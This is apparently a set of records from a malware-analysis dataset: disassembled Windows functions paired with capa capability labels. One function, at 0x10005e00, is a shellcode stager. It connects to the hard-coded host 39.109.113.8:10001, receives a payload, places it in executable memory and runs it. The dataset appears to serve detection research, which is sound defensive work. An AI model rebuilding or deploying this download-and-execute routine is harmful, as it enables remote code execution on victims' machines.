joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401942
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
mov eax, dword [0x41b354]
xor eax, esp
mov dword [esp + 0x78], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
push eax
lea eax, [esp + 0x50]
call fcn.00401ebf
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x50]
call fcn.0040190f
xor ebx, ebx
pop ecx
inc ebx
push ebx
xor edi, edi
lea esi, [esp + 0x50]
call fcn.004028ce
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
sub eax, esi
push 0x1c
cdq
pop ecx
idiv ecx
test eax, eax
je 0x401af9
push 0x417fa8
call fcn.00401789
pop ecx
push eax
mov ecx, esi
call fcn.00403475
pop ecx
test al, al
je 0x401af9
push 0x417ff8
call fcn.00401789
pop ecx
push eax
lea eax, [esp + 0x50]
call fcn.00401ebf
lea edi, [esp + 0x30]
call fcn.00401635
cmp dword [esp + 0x44], 8
mov ecx, dword [esp + 0x30]
jae 0x4019e3
mov ecx, edi
cmp dword [esp + 0x60], 8
mov eax, dword [esp + 0x4c]
jae 0x4019f2
lea eax, [esp + 0x4c]
xor edi, edi
push edi
push edi
push ecx
push eax
push edi
call dword [0x415144]
test eax, eax
jne 0x401ae3
push edi
call fcn.00405068
mov dword [esp + 0x2c], eax
pop ecx
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x30], edx
call fcn.00404f0f
pop ecx
mov ecx, dword [eax + 8]
imul ecx, ecx, 0x64
mov esi, 0x270f
sub esi, ecx
sub esi, dword [eax + 4]
cmp dword [esp + 0x44], 8
mov eax, dword [esp + 0x30]
mov dword [esp + 0x10], edi
jae 0x401a44
lea eax, [esp + 0x30]
push 0x418070
push eax
lea eax, [esp + 0x18]
push eax
call fcn.0040452b
mov eax, esi
cdq
add esp, 0xc
push edx
push eax
lea esi, [esp + 0x70]
call fcn.004015e1
cmp dword [eax + 0x14], 0x10
pop ecx
pop ecx
jb 0x401a6f
mov eax, dword [eax]
push dword [esp + 0x10]
push 4
push ebx
push eax
call fcn.00404c0d
add esp, 0x10
push edi
push ebx
lea ecx, [esp + 0x70]
call fcn.00402733
push dword [esp + 0x10]
call fcn.00404ff4
mov eax, dword [esp + 0x20]
pop ecx
mov ecx, dword [esp + 0x18]
sub eax, ecx
push 0x1c
cdq
pop esi
idiv esi
sub esp, 0x1c
mov dword [esp + 0x30], esp
cmp eax, ebx
jbe 0x401abc
lea eax, [ecx + 0x1c]
mov esi, esp
push eax
call fcn.00401e99
jmp 0x401ac8
mov eax, esp
push 0x417fa0
call fcn.00401ebf
sub esp, 0x1c
lea eax, [esp + 0x68]
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00401e99
call fcn.004016a5
add esp, 0x38
push ebx
xor edi, edi
lea esi, [esp + 0x34]
call fcn.004028ce
push ebx
lea esi, [esp + 0x50]
call fcn.004028ce
lea ebx, [esp + 0x18]
call fcn.004029ae
mov ecx, dword [esp + 0x84]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040445e
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100035f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x101e8e80]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0
push 0
push 0x1c
mov dword [ebp - 0x114], esi
push 0
mov dword [ebp - 0x114], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x10003653
xorps xmm0, xmm0
lea ecx, [ebp - 0x110]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], eax
lea edx, [ecx + 1]
mov dword [esi + 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003640
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
jmp 0x10003686
mov edx, 0x101c7fec
mov ecx, 0x101f1d48
call fcn.10009f20
push eax
call fcn.1000a1c0
add esp, 4
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0
push 0x101c82e5
mov ecx, esi
call fcn.1000aa40
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10158b77
mov esp, ebp
pop ebp
ret
Function at 0x10005e00
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
mov eax, dword [0x101e8e80]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 2
push eax
xorps xmm0, xmm0
mov dword [esp + 0x20], 1
push str.10001
push str.39.109.113.8
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x10005fc0
mov esi, dword [esp + 0xc]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x10005ee8
mov ebx, dword [sym.imp.WS2_32.dll_connect]
nop word [eax + eax]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x101f2690], eax
cmp eax, 0xffffffff
je 0x10005fc0
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x10005ee4
push dword [0x101f2690]
call edi
mov esi, dword [esi + 0x1c]
mov dword [0x101f2690], 0xffffffff
test esi, esi
jne 0x10005ea0
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x101f2690], 0xffffffff
je 0x10005fc0
mov esi, dword [sym.imp.WS2_32.dll_recv]
or ebx, 0xffffffff
mov eax, dword [0x101e9998]
mov ecx, dword [0x101f2694]
push 0
sub eax, ecx
push eax
mov eax, dword [0x101f2764]
add eax, ecx
push eax
push dword [0x101f2690]
call esi
test eax, eax
jle 0x10005f67
mov ecx, dword [0x101f2694]
add ecx, eax
mov eax, dword [0x101e9998]
mov dword [0x101f2694], ecx
cmp ecx, eax
jne 0x10005f10
add eax, eax
cmovo eax, ebx
push eax
push dword [0x101f2764]
call fcn.101672ff
mov dword [0x101f2764], eax
add esp, 8
mov eax, dword [0x101e9998]
add eax, eax
mov dword [0x101e9998], eax
jmp 0x10005f0a
push 0
push 0
push 0
push 0x10004430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x40
push 0x3000
push dword [0x101f2694]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x101f2694]
mov esi, eax
push dword [0x101f2764]
push esi
call fcn.1015bcc0
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [0x101f2690]
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1c4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10158b77
mov esp, ebp
pop ebp
ret
Function at 0x10005fe0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10184818
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x101e8e80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 8
push eax
mov dword [ebp - 0x14], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, edi
call fcn.10011c78
push 0
call fcn.100130af
push 0xc
call fcn.10012d08
add esp, 8
mov dword [ebp - 0xf4], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x10006069
xorps xmm0, xmm0
mov ecx, eax
movq qword [eax], xmm0
mov dword [eax + 8], 0
call fcn.10013ec5
mov esi, eax
jmp 0x1000606b
xor esi, esi
push 0x1019684c
mov dword [ebp - 4], 0xffffffff
call fcn.1001c8bb
push 0x101c8170
mov ecx, edi
call fcn.1002006e
push 0xd8
lea eax, [ebp - 0xf0]
push 0
push eax
call fcn.1015c240
add esp, 0xc
lea ecx, [ebp - 0xf0]
push 0
push 0x66
call fcn.10025a19
mov dword [ebp - 4], 1
mov dword [ebp - 0xf0], 0x101c8514
call fcn.100262fa
call fcn.100262fa
push 0x80
mov eax, dword [eax + 0xc]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xf0]
mov dword [ebp - 4], 2
mov ecx, eax
mov dword [edi + 0x20], eax
call fcn.1002085c
test esi, esi
je 0x100060fe
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax + 4]
lea ecx, [ebp - 0x30]
call fcn.10023d36
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], vtable.CBrush.0
call fcn.10010420
lea ecx, [ebp - 0xf0]
call fcn.100202d1
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10158b77
mov esp, ebp
pop ebp
ret
Function at 0x1000fb60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x1000fb89
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1000fb9f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000fb96
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x1000fbd2
nop
cmp esi, ecx
jae 0x1000fb96
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x1000fbc0
cmp esi, ecx
jae 0x1000fb96
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x1000fc30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
call fcn.10022565
mov ebx, eax
test ebx, ebx
jne 0x1000fc50
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x1000fd3b
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1000fc7f
xor esi, esi
jmp 0x1000fcc2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000fcc2
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x1000fcb2
nop
cmp esi, ecx
jae 0x1000fcb6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x1000fca0
cmp esi, ecx
jb 0x1000fcba
xor esi, esi
jmp 0x1000fcc2
xor eax, eax
cmp word [esi], ax
cmove esi, eax
test esi, esi
je 0x1000fd3b
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x1000fd46
mov ebx, dword [ebp - 4]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x1000fd04
push edi
mov ecx, ebx
call fcn.10010180
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x1000fd46
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
pop esi
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.10010220
int3

Function at 0x10010b30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.100204c5
Function at 0x10013703
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
mov eax, ecx
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], edi
je 0x10013748
call fcn.100262fa
push 0xf0
push dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10013745
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1001378f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov eax, dword [ebp - 4]
push ebx
xor ebx, ebx
inc ebx
test edi, edi
je 0x1001376b
mov ecx, dword [eax]
push dword [ebp + 0x10]
push edi
mov esi, dword [ecx + 0x20]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10195a10]
mov ecx, dword [ebp - 4]
call esi
mov ebx, eax
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x70]
test edi, edi
je 0x1001378c
mov edx, dword [edi]
push dword [ebp + 0x10]
mov esi, dword [edx + 0xa0]
mov ecx, esi
call dword [0x10195a10]
mov ecx, edi
call esi
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret 0xc
Function at 0x1001fbb2
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x101860c8
call fcn.1015931a
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x1001fc5a
push dword [ebp + 8]
call fcn.1001fecf
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1001fce1
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x1001fc43
push ecx
call fcn.10012d45
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001fc43
xor edi, edi
inc edi
jmp 0x1001fc4d
push dword [ebx]
call fcn.10012d40
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.1001fa79
jmp 0x1001fcdf
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x10195a10]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x1001fcd7
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.10012d45
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x1001fcd1
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.1001fa56
push esi
lea ecx, [ebp - 0x10]
lea ebx, [eax - 1]
shl bl, 4
sub bl, 0x41
call fcn.1001fa56
mov ecx, dword [ebp + 0x10]
add al, bl
mov ecx, dword [ecx]
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
cmp edi, dword [eax]
jb 0x1001fc9e
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.10010060
mov eax, edi
call fcn.101592e8
ret 0x10

Function at 0x1001fce9
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x1001fd3c
push esi
push dword [ebp + 8]
call fcn.1001fecf
mov edi, eax
test edi, edi
je 0x1001fd37
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1001fd37
mov eax, dword [ebp - 8]
jmp 0x1001fd4e
mov eax, dword [ebp + 0x10]
jmp 0x1001fd4e
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
leave
ret 0xc
Function at 0x1001fd54
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101860f5
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.101594d0
mov eax, dword [0x101e8e80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x101c], edi
mov dword [ebp - 0x1024], eax
cmp dword [ecx + 0x58], ebx
je 0x1001fe82
push ebx
push edx
call fcn.1001fecf
mov ebx, eax
test ebx, ebx
jne 0x1001fdbc
push esi
jmp 0x1001feaa
lea ecx, [ebp - 0x1014]
call fcn.1000fb00
xor ecx, ecx
lea eax, [ebp - 0x1018]
push eax
push ecx
lea eax, [ebp - 0x1020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x1024]
mov dword [ebp - 0x1020], ecx
push ebx
mov dword [ebp - 0x1018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x101c], eax
test eax, eax
jne 0x1001fe41
push dword [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
call fcn.100101e0
lea ecx, [ebp - 0x1018]
push ecx
push eax
lea eax, [ebp - 0x1020]
push eax
push 0
push dword [ebp - 0x1024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x101c], eax
call fcn.1002000d
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x101c], 0
jne 0x1001fe6f
mov esi, dword [ebp - 0x1014]
add esi, 0xfffffff0
push esi
call fcn.1001179d
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.10010060
jmp 0x1001feb1
push esi
mov ecx, edi
call fcn.10010e77
mov ecx, dword [ebp - 0x1014]
lea ecx, [ecx - 0x10]
jmp 0x1001fe68
test esi, esi
jne 0x1001fe8b
mov esi, 0x101c82e5
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x1010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, edi
call fcn.10010e77
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10158b77
leave
ret 0x10
Function at 0x100200a2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
push edi
mov edi, ecx
cmp dword [edi + 0x58], ebx
je 0x100200ea
push ebx
push dword [ebp + 8]
call fcn.1001fecf
mov edi, eax
test edi, edi
je 0x1002014b
push dword [ebp + 0x14]
push esi
push 3
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
jmp 0x1002014b
mov eax, dword [ebp + 0x14]
lea eax, [eax*2 + 1]
push eax
call fcn.10012d45
mov edx, dword [ebp + 0x14]
mov ebx, eax
pop ecx
xor ecx, ecx
test edx, edx
je 0x10020121
mov al, byte [esi + ecx]
and al, 0xf
add al, 0x41
mov byte [ebx + ecx*2], al
mov al, byte [esi + ecx]
shr al, 4
add al, 0x41
mov byte [ebx + ecx*2 + 1], al
inc ecx
cmp ecx, edx
jb 0x10020106
mov byte [ebx + ecx*2], 0
mov eax, dword [edi]
push ebx
push dword [ebp + 0xc]
mov esi, dword [eax + 0x88]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10195a10]
mov ecx, edi
call esi
push ebx
mov esi, eax
call fcn.10012d40
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x1002042f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x84], 0
mov esi, dword [ebx + 0x8c]
mov edi, dword [ebx + 0x88]
je 0x10020477
call fcn.100262fa
push 5
push dword [ebx + 0x84]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10020477
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x10020484
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
xor eax, eax
inc eax
test esi, esi
je 0x100204c0
mov edx, 0xffff
lea ecx, [esi + 0xc]
cmp word [esi + 2], dx
jne 0x100204a3
movzx edi, word [esi + 0x12]
movzx edx, word [esi + 0x14]
jmp 0x100204ac
movzx edx, word [ecx]
mov ecx, esi
movzx edi, word [esi + 0xa]
test dword [ecx], 0x1801
jne 0x100204be
test di, di
jne 0x100204be
test dx, dx
je 0x100204c0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10020529
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
call fcn.100262fa
push 5
push dword [ebp + 8]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10020569
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10020569
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push dword [ebp + 0xc]
mov ecx, edi
push eax
call fcn.10020571
jmp 0x1002056b
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x1002085c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x10186151
call fcn.10159383
mov edi, ecx
mov dword [ebp - 0x24], edi
mov ebx, dword [edi + 0x8c]
mov esi, dword [edi + 0x88]
mov dword [ebp - 0x18], ebx
call fcn.100262fa
cmp dword [edi + 0x84], 0
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
je 0x100208bb
call fcn.100262fa
push 5
push dword [edi + 0x84]
mov ebx, dword [eax + 0xc]
push ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x100208cf
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, dword [ebp - 0x18]
mov esi, eax
test esi, esi
je 0x100208cb
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 0x18], eax
test ebx, ebx
jne 0x100208d7
or eax, 0xffffffff
jmp 0x10020a29
mov ecx, edi
call fcn.10020e66
mov ebx, eax
mov dword [ebp - 0x2c], ebx
call fcn.10028941
xor esi, esi
and dword [ebp - 0x1c], esi
and dword [ebp - 0x28], esi
mov dword [ebp - 0x14], esi
test ebx, ebx
je 0x10020963
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp ebx, eax
je 0x10020963
push ebx
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x10020963
push esi
push ebx
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x14], 1
call fcn.10010b60
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x10020960
mov ecx, dword [esi]
mov esi, dword [ecx + 0x150]
mov ecx, esi
call dword [0x10195a10]
mov ecx, dword [ebp - 0x1c]
call esi
test eax, eax
je 0x10020960
mov esi, dword [ebp - 0x1c]
mov ecx, esi
call fcn.10027629
test eax, eax
je 0x10020960
push 0
mov ecx, esi
call fcn.10026f47
mov dword [ebp - 0x28], 1
mov esi, dword [ebp - 0x14]
and dword [ebp - 4], 0
push edi
call fcn.1002860e
push ebx
call fcn.10029d03
push dword [ebp - 0x20]
mov ecx, edi
push eax
push dword [ebp - 0x18]
call fcn.100207ff
test eax, eax
jne 0x100209ac
cmp dword [edi + 0x9c], eax
jne 0x100209ac
call fcn.100262fa
push ebx
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
call fcn.10029d03
push dword [ebp - 0x20]
mov ecx, edi
push eax
push dword [ebp - 0x18]
call fcn.100207ff
and dword [edi + 0x9c], 0
jmp 0x100209d7
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 0
je 0x100209eb
mov ecx, dword [ebp - 0x1c]
push 1
call fcn.10026f47
test esi, esi
je 0x100209f8
push 1
push ebx
call dword [sym.imp.USER32.dll_EnableWindow]
test ebx, ebx
je 0x10020a0e
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [edi + 0x20]
jne 0x10020a0e
push ebx
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [edi]
mov esi, dword [eax + 0x60]
mov ecx, esi
call dword [0x10195a10]
mov ecx, edi
call esi
mov ecx, edi
call fcn.10020e1d
mov eax, dword [edi + 0x68]
call fcn.101592e8
ret